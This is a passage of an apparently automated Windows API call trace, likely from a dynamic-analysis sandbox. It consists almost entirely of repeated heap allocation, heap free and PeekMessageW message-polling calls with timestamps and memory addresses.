lpMsg=0xbdf794) returned 0 [0136.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0136.700] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.700] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0136.700] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0136.701] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0136.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0136.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0136.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0136.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0136.701] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0136.702] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0136.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.702] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.703] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.703] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.704] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0136.704] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0136.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0136.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0136.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0136.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0136.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0136.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0136.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0136.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec510 [0136.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x6d0) returned 0xeff4d0 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedd210 | out: hHeap=0xe80000) returned 1 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0136.709] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf888 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2798 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.710] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.710] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0136.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0136.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0136.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec510 | out: hHeap=0xe80000) returned 1 [0136.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) 